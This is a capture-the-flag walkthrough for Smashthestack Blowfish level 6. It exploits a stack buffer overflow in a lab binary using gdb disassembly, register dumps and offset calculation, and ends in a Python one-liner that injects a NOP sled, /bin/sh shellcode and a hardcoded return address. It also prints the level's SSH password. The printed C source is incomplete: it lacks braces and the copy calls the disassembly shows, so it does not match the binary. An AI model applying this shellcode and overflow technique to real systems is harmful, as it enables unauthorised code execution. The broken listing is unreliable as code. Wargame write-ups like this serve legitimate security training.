Smashthestack Blowfish Level 06

To enter this level we have to ssh with password ur_so_l33t:

$ssh -p2222
password: ur_so_l33t

     1. Thou shalt NOT root or otherwise harm the box.
     2. Thou shalt NOT access any other network from this box.
     3. Thou shalt NOT use any other directory besides /tmp or /code for code. 
     4. Thou shalt give the root pass to l3thal if you manage to change it.

     Passwords are in /pass.
     There is a README in each users home directory.
     /tmp && /var/tmp will be flushed daily by cron.
     Use /code plz for umm, code ;D
     IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
     The password for the last level will get you into
     Tux, the more advanced wargame. Join #blowfish on with any questions. 

     Admins - l3thal && cr 


Last login: Thu Jan 28 23:15:03 2010 from
This level is another stack overflow in /levels/level6
Exploit it and move to the next level.

Again, we face a buffer-overflow.

Analyzing the source code

#include <stdio.h>
#include <string.h>
int badfunc(char *string1, char *string2) {
    char  buffer1[1024];
    char  buffer2[1024];
    if(strlen(string1)>=sizeof(buffer1)) {
        printf("\n\t(!) overflow detected.\n");
        printf("\t(-) exiting...\n\n");
        return -1;
    else {
        printf("\n\t(+) copying string1 into the buffer...");
        printf("\t\t[done] (%d)\n", strlen(buffer1));
    if(strlen(string2)>=sizeof(buffer2)*3) {
        printf("\n\t(!) overflow detected.\n");
        printf("\t(-) exiting...\n\n");
        return -1;
    else {
        printf("\t(+) copying string2 into the buffer...");
        printf("\t\t[done] (%d)\n\n", strlen(buffer2));
    return 0;
int main(int argc, char *argv[]) {
    if(argc != 3)
        return -1;
    badfunc(argv[2], argv[1]);
    return 0;

It is pretty obvious where the buffer-overflow is gonna happen, when it checks and copies the string2
it checks that it's length is less or equal the buffer2's size multiplied by three.

Same steps as previous levels.

Analyzing the binary with gdb

Discovering buffer2's address

We set up a breakpoint in in the second snprintf function call to determine the buffer2's address.

level6@blowfish:~$ gdb /levels/level6 
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) set dis intel
(gdb) disass badfunc
Dump of assembler code for function badfunc:
0x080483f4 <badfunc+0>:    push   ebp
0x080483f5 <badfunc+1>:    mov    ebp,esp
0x080483f7 <badfunc+3>:    sub    esp,0x828
0x080483fd <badfunc+9>:    mov    eax,DWORD PTR [ebp+0x8]
0x08048400 <badfunc+12>:    mov    DWORD PTR [esp],eax
0x08048403 <badfunc+15>:    call   0x80482e8 <strlen@plt>
0x08048408 <badfunc+20>:    cmp    eax,0x3ff
0x0804840d <badfunc+25>:    jbe    0x8048436 <badfunc+66>
0x0804840f <badfunc+27>:    mov    DWORD PTR [esp],0x80486a0
0x08048416 <badfunc+34>:    call   0x8048308 <printf@plt>
0x0804841b <badfunc+39>:    mov    DWORD PTR [esp],0x80486ba
0x08048422 <badfunc+46>:    call   0x8048308 <printf@plt>
0x08048427 <badfunc+51>:    mov    DWORD PTR [ebp-0x80c],0xffffffff
0x08048431 <badfunc+61>:    jmp    0x8048514 <badfunc+288>
0x08048436 <badfunc+66>:    mov    DWORD PTR [esp],0x80486e0
0x0804843d <badfunc+73>:    call   0x8048308 <printf@plt>
0x08048442 <badfunc+78>:    mov    eax,DWORD PTR [ebp+0x8]
0x08048445 <badfunc+81>:    mov    DWORD PTR [esp+0xc],eax
0x08048449 <badfunc+85>:    mov    DWORD PTR [esp+0x8],0x8048709
0x08048451 <badfunc+93>:    mov    DWORD PTR [esp+0x4],0x400
0x08048459 <badfunc+101>:    lea    eax,[ebp-0x408]
0x0804845f <badfunc+107>:    mov    DWORD PTR [esp],eax
0x08048462 <badfunc+110>:    call   0x8048318 <snprintf@plt>
0x08048467 <badfunc+115>:    lea    eax,[ebp-0x408]
0x0804846d <badfunc+121>:    mov    DWORD PTR [esp],eax
0x08048470 <badfunc+124>:    call   0x80482e8 <strlen@plt>
0x08048475 <badfunc+129>:    mov    DWORD PTR [esp+0x4],eax
0x08048479 <badfunc+133>:    mov    DWORD PTR [esp],0x804870c
0x08048480 <badfunc+140>:    call   0x8048308 <printf@plt>
0x08048485 <badfunc+145>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048488 <badfunc+148>:    mov    DWORD PTR [esp],eax
0x0804848b <badfunc+151>:    call   0x80482e8 <strlen@plt>
0x08048490 <badfunc+156>:    cmp    eax,0xbff
0x08048495 <badfunc+161>:    jbe    0x80484bb <badfunc+199>
0x08048497 <badfunc+163>:    mov    DWORD PTR [esp],0x80486a0
0x0804849e <badfunc+170>:    call   0x8048308 <printf@plt>
0x080484a3 <badfunc+175>:    mov    DWORD PTR [esp],0x80486ba
0x080484aa <badfunc+182>:    call   0x8048308 <printf@plt>
0x080484af <badfunc+187>:    mov    DWORD PTR [ebp-0x80c],0xffffffff
0x080484b9 <badfunc+197>:    jmp    0x8048514 <badfunc+288>
0x080484bb <badfunc+199>:    mov    DWORD PTR [esp],0x8048720
0x080484c2 <badfunc+206>:    call   0x8048308 <printf@plt>
0x080484c7 <badfunc+211>:    mov    eax,DWORD PTR [ebp+0xc]
0x080484ca <badfunc+214>:    mov    DWORD PTR [esp+0xc],eax
0x080484ce <badfunc+218>:    mov    DWORD PTR [esp+0x8],0x8048709
0x080484d6 <badfunc+226>:    mov    DWORD PTR [esp+0x4],0xc00
0x080484de <badfunc+234>:    lea    eax,[ebp-0x808]
0x080484e4 <badfunc+240>:    mov    DWORD PTR [esp],eax
0x080484e7 <badfunc+243>:    call   0x8048318 <snprintf@plt>
0x080484ec <badfunc+248>:    lea    eax,[ebp-0x808]
0x080484f2 <badfunc+254>:    mov    DWORD PTR [esp],eax
0x080484f5 <badfunc+257>:    call   0x80482e8 <strlen@plt>
(gdb) break *0x080484e7
Breakpoint 1 at 0x80484e7

Now we run with 2 arguments that can be anything.

(gdb) r a b
Starting program: /levels/level6 a b

    (+) copying string1 into the buffer...        [done] (1)

Breakpoint 1, 0x080484e7 in badfunc ()
(gdb) i r
eax            0xbfffd070    -1073754000
ecx            0x0    0
edx            0xed70f0    15560944
ebx            0xed5ff4    15556596
esp            0xbfffd050    0xbfffd050
ebp            0xbfffd878    0xbfffd878
esi            0x8048570    134514032
edi            0x8048330    134513456
eip            0x80484e7    0x80484e7 <badfunc+243>
eflags         0x296    [ PF AF SF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

So we have the address where we will have to point the return address of the function: 0xbfffd070

Discovering the badfunct's return point

As buffer2 is defined below buffer1 in the stack it is going to be above, so for sure it will take at least 2048 bytes
and not too much after that.

We follow the same process as in the previous levels until we find that with 2062 we over-write the first 2 bytes
of the return address.
So we have to write 2060 bytes of shell-code and after that the return address 0xbfffd070 or somewhere near.


We are using the same shellcode as the previous level.


Exploiting the binary

So, we have to put 2022(2062 - 38) bytes of \x90 for padding, then the shellcode and after that the return address, or somewhere in the middle
of those NOPs(\x90) just in case it varies in the real environment.

level6@blowfish:~$ /levels/level6 $(python -c "print '\x90'*2022 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x70\xd0\xff\xbf'") b

    (+) copying string1 into the buffer...        [done] (1)
    (+) copying string2 into the buffer...        [done] (2064)


Now we just have to read the password:

sh-3.2$ cat /pass/level7

We are ready to go to level 7. Tutorial here.

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License